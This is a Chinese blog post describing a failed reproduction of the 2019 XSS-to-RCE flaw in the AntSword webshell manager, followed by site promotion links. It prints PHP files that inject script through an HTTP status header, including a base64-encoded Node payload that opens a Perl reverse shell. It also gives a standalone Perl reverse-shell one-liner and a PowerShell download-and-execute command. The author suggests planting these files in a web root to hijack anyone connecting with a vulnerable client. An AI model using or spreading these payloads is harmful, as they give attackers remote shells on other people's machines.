AntSword RCE
之前复现了Clash的RCE,因为听说这个Clash RCE与蚁剑RCE差不多,于是趁着周六日有时间,来搞一手蚁剑RCE复现。
这是一个比较老的漏洞了,我本人复现没有成功,具体可以借鉴一下下面的操作,有问题请大家指出!
0x00 漏洞概述
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
2019年4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。这个漏洞当时爆出来后,引发了各路大佬的关注。
0x01 影响范围
看了一下github,安全更新的版本为v2.0.7.1,于是可能是这个版本之前的所有版本
0x00 漏洞复现
不多说了,先下载一个版本试试
下载下来,用Loader加载,才发现之前下载的4.0.3 Loader不能加载老版本的AS
所以重新下载一个旧版本的Loader
但是这里的旧版本Loader有一个坑,就是KALI无法安装,一直报错。
就算按照github上的#3问题安装Kali所需库,也无法解决。
windows上倒是可以复现,可以看到已经成功弹窗了(链接密码随便写,弹窗跟这个密码无关),但是我要扩大利用,就是反弹shell。
//shell.php
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
github上使用的是perl语言进行反弹shell,由于我的windows上没有perl语言,我就先尝试了其他的各种payload
进行反弹shell,但是仍然失败了。后来又尝试之前的Clash RCE的payload,还是失败了。
所以,一怒之下,我TM直接在windows上安装perl语言https://www.activestate.com/products/perl/
powershell -Command "& $([scriptblock]::Create((New-Object Net.WebClient).DownloadString('https://platform.activestate.com/dl/cli/_pdli01/install-latest.ps1'))) -c'state activate --default sukusec301/Perl-5.34.0-Windows'"
第一次安装perl语言,纯命令行安装,看起来挺牛逼的
可是,还是我太天真了,还是无法复现成功。
下面这个是perl语言在windows终端的反弹shell命令,注意将单引号和双引号转换一下就行,但是会有Connection reset by peer
perl -e "use Socket;$i='192.168.31.157';$p=65500;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};"
实在是尽力了,不知道为什么一直复现不了。可能windows主机的蚁剑会有一些问题吧,况且一般我们实战的时候都是用的Linux安装的蚁剑,暂时就先不管了。
不过给我们提供了一个思路方式,在自己的网站根目录下面,放入一个文件,主要对方使用带有漏洞的蚁剑,就可以被上线,那么这个文件里面的内容写成什么呢?
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");
?>
更改一下下面这段代码中的IP,然后将这段代码base64加密,放入上面那段代码的eval中对应的位置
require('child_process').exec('perl -e \'use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
可以在网站根目录下放入几个这样的文件,万一让对方上线了呢~
总结
虽然没有成功复现,扩大利用,仅仅是弹了个窗而已,但是我从中学到了一些知识。
1、蚁剑是分两个部分下载的,一个是Loader一个是蚁剑本身。
其中Loader分两个大版本,4.0.3适用于 AntSword >= v2.1.0,v2.0.1适用于AntSword v2.0.0 ~ v2.1.0
2、perl语言安装十分快捷方便,不过在安装前需要到其官网进行注册登陆,也可以用github直接登陆。
3、perl语言反弹shell在windows中的cmd,一定要用双引号包裹。win10+Perl5.24版本上执行
perl -e 'print "Hello World\n"'
出错,原因是:版本的问题。重新执行perl -e "print 'Hello World'"
即可。
4、在溯源的过程中,经常可以看到有些人使用这些sqlmap或者蚁剑的常用工具漏洞来部署陷阱,引诱对方使用这些文件。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix